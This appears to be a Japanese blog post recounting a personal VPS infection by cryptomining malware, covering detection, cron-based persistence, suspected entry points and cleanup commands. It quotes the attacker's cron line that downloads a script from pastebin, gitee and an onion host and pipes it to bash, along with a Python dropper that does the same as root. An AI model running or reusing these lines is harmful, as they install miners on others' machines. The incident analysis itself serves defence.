先日、個人で利用しているサーバー(VPS)に侵入され、マルウェアを仕込まれました。
エンジニアとして大変恥ずかしい話ではありますが、皆さんしっかり対策されていると思われるので、検索しても日本語では同様の事例が見つからなかったのでここに残します。
TL;DR
- サーバーに不正侵入を受け、マルウェアを仕掛けられ、仮想通貨マイニングに利用されていた。
- マイニングは
httpntp
、ftpsdns
、watchdog
というプロセスで行われる。 - スクリプトは複数のcron設定を利用してスクリプトを自動設置、起動する処理になっていた。
- マイニングスクリプトを仕掛けるスクリプトにも不具合があり、無駄に同一プロセスを同じ時間に設置しまくるので、同一時刻に大量のプロセスが起動し高負荷に陥りやすかった。
- いくつかのログは証拠隠滅のため削除されるので詳細は追い切れない。
- マイニングは
- 侵入経路は現在のところ不明。
- 簡易的ではあるが、
hosts
でpastebin.com
を弾くだけでも多少対策効果はある
どのようなマルウェアだったか
仮想通貨をマイニングするマルウェアだったようです。
マイニングのためマシンリソースを大変喰います。マルウェア稼働中はCPU負荷、メモリ使用量が急上昇するため、監視していれば発覚すると思います。
発覚の経緯
初回の発覚
さくらのクラウドの機能で、外部からのサービス疎通確認で、異常発生時にSlackに通知する設定から、サーバー高負荷によるサービス停止の通知で気付きました。
このときは自サイトにも通じず、また高負荷によりリモートからのログインも行えない状態になっていました。
そのため、VPSのコントロールパネルから強制再起動を実施しました。
再起動後、原因確認のため、/var/log/dmesg
や/var/log/message
を確認したところ、curl実行中にOOM Killerがでプロセスを停止させたログが残っており、yumなどのアップデートが実行中に何故かメモリ不足に陥ることで処理が中途半端に停止し、結果として暴走してしまっていた。と、勝手に考え、そのまま調査を終了しました。
2回目の発覚
その後も数日、毎日午前1時から1時間ほど高負荷でサービス疎通ができなくなる状態を繰り返していたので、怪しんで調査。
- そもそも1時にyum更新は実行しない(デフォルト設定と同じ、深夜4時に実行設定)
- 深夜時間帯に実施している作業もあるが、そもそも重い処理さほどない。
- 定時で外部と通信するものはyum以外まずない。
など、よくよく考えて不審な点があり、CRON関連から調査を実施したところ、高負荷の根本原因となる今回のものが発覚しました。
今回のマルウェアの挙動について
特徴
簡単に、挙動から分かる特徴について書いてみます。
- 午前1時に発動するようcronが設定される
- そのため、深夜1時頃から重くなる
- 大量のbashプロセスと特定のプロセスが立ち上がる
- cron設定スクリプトにミス?があるようで、大量に同じ記述が追加される
マルウェアの挙動を追ってみる
crontabを確認
確認すると本来記述されているべき元の記述はなく下記の様な設定が大量に書かれていた。
気付いた時点では1000行以上に達していた。これは後述の理由による
0 1 * * * root /bin/httpntp
5 1 * * * root /bin/ftpsdns
0 1 * * * root /bin/httpntp
0 1 * * * root /bin/httpntp
0 1 * * * root /bin/httpntp
5 1 * * * root /bin/ftpsdns
5 1 * * * root /bin/ftpsdns
0 1 * * * root /bin/httpntp
5 1 * * * root /bin/ftpsdns
0 1 * * * root /bin/httpntp
0 1 * * * root /bin/httpntp
5 1 * * * root /bin/ftpsdns
...
毎日午前1時頃に実行されるようになっている。これが現況であることは分かったので、これらのcron登録を削除する。
echo '' > /etc/crontab
しかし数分後にもう一度確認すると……
0 1 * * * root /bin/httpntp
5 1 * * * root /bin/ftpsdns
0 1 * * * root /bin/httpntp
また同じような記述が増えていました。。。
何らかのスクリプトかプロセスがまだ動いているようです。
何が行われているのかと、 /var/log/cron
と /var/log/secure
を調べようとしてみるも、どちらも最新のログは 0 バイトとなっており、中身を削除されてしまっている様子。
仕方が無いので、他のcronスクリプトをチェックしてみます。
/var/spool/cron/root
を見ると/etc/crontab
への元凶と思わしき記述がすぐに確認できました。
*/9 * * * * (curl -fsSL https://pastebin.com/raw/AgdgACUD||wget -q -O- https://pastebin.com/raw/AgdgACUD||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/uiZvwxG8").read()'||curl -fsSL https://gitee.com/return_block/party_1/raw/master/main/api/README.md||wget -q -O - https://gitee.com/return_block/party_1/raw/master/main/api/README.md||curl -fsSL https://aziplcr72qjhzvin.onion.to/old.txt||wget -q -O - https://aziplcr72qjhzvin.onion.to/old.txt)|bash
cronスクリプトは複数設定される
実は今回のスクリプトは、一つ止めても簡単には止められないように、上記以外に複数の場所に設置されます。
設置されるのは下記のファイルです。
/var/spool/cron/root
/var/spool/cron/crontabs/root
/etc/cron.d/root
/etc/cron.d/apache
/etc/cron.d/system
スクリプトを追ってみる
どうやら基となるスクリプトをpastebinをはじめとするいくつかのホスティングサービスに設置されていて(そのうちいくつかは既に削除されていたりします)、それらをcurl
またはwget
で取得し、ダメなら次のホスト先を…という挙動を取るようです。
最終的にはTorサーバーにまで接続していて、これが数分おきに実行されるため、スクリプトが見つからない+接続先に繋がりにくい状態(特にtorネットワーク)だと、更に終了待ちとなり、大量のプロセスが溜まりそうです。この部分が恐らく、前述のCPU負荷グラフでLAが1.0付近になっていた原因のようでした。
スクリプトを更に紐解いていってみると、システム内にcurl
またはwget
が無ければ、リネームしたり、パッケージ管理システムからインストールし、スクリプトを入手しようとするなど、入念な準備を行う様子が見えます。
import os
import os.path
def GetDeps():
if os.path.isfile('/usr/bin/url'):
os.system("mv /usr/bin/url /usr/bin/curl")
os.system("chmod 777 /usr/bin/curl")
os.system("chmod +x /usr/bin/curl")
if os.path.isfile('/usr/bin/get'):
os.system("mv /usr/bin/get /usr/bin/wget")
os.system("chmod 777 /usr/bin/wget")
os.system("chmod +x /usr/bin/wget")
if not os.path.isfile('/usr/bin/wget'):
os.system("yum clean all")
os.system("yum -y install wget")
os.system("apt-get update")
os.system("apt-get -y install wget")
if not os.path.isfile('/usr/bin/curl'):
os.system("yum clean all")
os.system("yum -y install curl")
os.system("apt-get update")
os.system("apt-get -y install wget")
if os.getuid()==0:
GetDeps()
os.system("(curl -fsSL https://pastebin.com/raw/AgdgACUD||wget -q -O- https://pastebin.com/raw/AgdgACUD)|bash")
本体
ここから更に追っていくと、今回の根源処理となるスクリプト本体が出てきました。
スクリプト本体はここには掲載しませんが、ここまでの内容から追うことは出来るでしょう。
(スクリプトなので実行しなければ実害はありませんが、確認する場合は自己責任で)
またスクリプト本体の冒頭にはこのようなコメントが記載されていました。
#This is the Old-ReBuild Lady job copy
#Disclaimer:
#1) I only Wanna Mine.
#2) I don't want your data, or anything or even a ransom.
#3) Please if you find this code, don't post about it.
#4) lets talk Jeff4r190@tutanota.com
このコメントから分かる様に、また挙動からも分かる様に、今回のマルウェアは他人のマシンで仮想通貨を発掘し、儲けることが目的で、暗号化による身代金目的などではなかったようです。
これ自体は非常に幸いで、若干の優しさを感じました(やってることは許されませんが……)
ただし、ここまでのスクリプトが環境によってはやや御粗末に動くようで、私の環境ではcrontabの中身を失いました。
進入経路は?
雑に運用していたので正直分かりません。雑にといっても最低限のセキュリティは設定していて、通常ログインを許すような環境にはしておらず、鍵がなければ入れない環境です。
また、接続を許可するIPを国単位で指定し、ほとんどの国からのSSH接続は拒否していたはずでした。
(ただしそのIP情報も更新しておらず、古いものになっていた事実はあります)
#考え得る進入経路
SSH
上記の通り鍵認証で特定のユーザーのみログインできる状態にしていました。そこに甘んじてSSHポートは22で動かしていました。直近でサーバー内の何れかのアカウントがログインされた形跡はメインアカウント(自分のアカウント)以外はなかったので、そこからのログインでなければ無かった、という認識です。
本件の発覚後、ポート番号は変更しました……
古いWordpress
現在ブログは移行してしまい、利用していなかったのですが、以前に同サーバー内にWordpressを設置していました。ソースやファイルはそのままで、利用時に参照していたブログのホスト名のみ変更させていました。
なので、このサーバーのIPに当時使用していたブログのホスト名(blog.example.com
など)をローカルDNSなどを使用して向けると、当時のWordpressが動く(であろう)状態にはなっていました。
FTPサーバー
前述のWordpressの自動更新処理用にFTPサーバーを起動していました。しかし外部へのポート開放は行っておらず、内部のみで利用可能な状態にしていました。基本的に直接の原因にはならないとは思いますが、他の脆弱性によりこれが利用できた可能性もあるのかな、とは考えています。
メールサーバー
メールの送受信はほぼ行わないですが、サーバー作成当初からにqmailを入れていました。qmailは高速堅牢なMTAとして有名です。qmail自体はほぼ脆弱性がないですが、DDoSによる脆弱性は見つかっているようです(適切に設定することでこれは回避可能とのことです)。
サーバー内からメール送受信することは現状ほぼないものでしたが、そのまま稼働して運用してしまっていたため個々を利用された可能性も考えられそうです。
なんらかのアップロード機能
サーバー上に置いていた個人サイトの機能にファイルアップロードする機能を設けているところはありません。しかし前述のWordpressのような、過去に試しで入れたアプリケーションを見つけられ、そこ経由で何らかアップロードされた可能性も捨てられません……。
対策
根本対策
下記のコマンドを実行し、関連ファイルを削除します。
cron系スクリプトについては毎分実行されるようにも設定されるので、なるべくスクリプトにして一括で実行した方が良いです。
/etc/crontab
の変更前の内容は/etc/crontab.bak
に残っている可能性もあるので、そちらも確認し、復旧を試みてみてください。
また、/tmpディレクトリ以下にいくつかファイルを作成するようです
sudo rm /bin/httpntp
sudo rm /bin/ftpsdns
sudo rm /var/spool/cron/root
sudo rm /var/spool/cron/crontabs/root
sudo rm /etc/cron.d/root
sudo rm /etc/cron.d/apache
sudo rm /etc/cron.d/system
sudo rm /etc/cron.hourly/oanacroane
sudo rm /etc/cron.daily/oanacroane
sudo rm /etc/cron.monthly/oanacroane
sudo echo '' > /etc/crontab
sudo rm /tmp/.mynews1234
sudo rm /tmp/.tmpnewzz
sudo rm /tmp/.tmpnewasss
sudo rm /tmp/.tmpnewpolopppeq
sudo rm /tmp/.upnewdatepspeq
sudo rm /tmp/elevate
sudo rm /tmp/elavate
sudo rm /tmp/.tmpleve
sudo rm /tmp/.tmpc
sudo rm /tmp/.sysbabyuuuuu12
sudo rm /bin/config.json
sudo rm /bin/watchbog
sudo rm /bin/config.txt
sudo rm /bin/cpu.txt
sudo rm /bin/pools.txt
私の環境では生成されていませんでしたが、調べたところ、watchdog
というプロセスが作成され、それが実行されることがあるようです。実行されている場合はそのプロセスをkillするのを忘れずに行ってください。
一時的な対策
その場しのぎ的ですが、 /etc/hosts
に上記スクリプトで接続先に使われていたホストサービスへの接続を制限するようにしました
127.0.0.1 pastebin.com gitee.com aziplcr72qjhzvin.onion.to
ただし、Tor系については今後増えてもhostでは完全には制御しきれないので、本当に一時的な感じではあります。
もっとしっかりセキュリティ対策を
上記の様に、私の環境ではパッと思いつくだけでも思い当たる節がたくさん出てくるくらいには雑に運用してしまっていました。
最低限のセキュリティ対策は当然の如くしっかり行いつつ、利用しなくなったり管理しなくなったものは脆弱性やセキュリティホールになり得るため、なるべくその環境からも利用できない状態にしておくべきだと改めて感じました。
今回はVPSサービス上だったため、恐らく同一ホストに乗っていた他の環境には迷惑を掛けた可能性があります。
が、今回についてはそれ以外にネットワークを通じて外部には影響(スパムの配信など)しなかったと思える点は幸いです。
マイニングスクリプト本体について
/bin/httpntp
と /bin/ftpsdns
を削除して気になったので /bin
以下を調査したところ、ディレクトリ内にいくつかのファイルができあがっていました。
-rwxrwxrwx 1 root root 6.6K 3月 20 09:51 2019 /bin/config.txt
-rwxrwxrwx 1 root root 2.4K 3月 20 09:51 2019 /bin/cpu.txt
-rwxrwxrwx 1 root root 2.4K 3月 20 09:51 2019 /bin/pools.txt
前述の対策の項目でも記述していましたが、作業ファイルをいくつか作成するようです。
何れもtxtファイルらしいので開いてみると、どれも1行目に下記の記述がありました
// generated by xmr-stak/2.10.0/56d2770/master/lin/cpu/20
そこで、xmr-stak
でググると出てきたのは、下記のソフトウェアでした。
これがhttpntp
だったりftpsdns
の元となる実行ファイルでした。
最後に
今回は一介のエンジニアとして、大変に恥ずかしく、情けないと思いました。また自分のセキュリティに対する認識の甘さも改めて感じさせられる機会となりました。
ややヘコみながらも、本件に関する日本語でこの件に関する情報が乏しかったので(海外の投稿サイトなどの書き込みを見かけることはありました)、今後もし同じような被害に遭った方がいた際の参考になればと思い、書きました。
まとまらない内容となってしまいましたが、読んでいただきありがとうございました。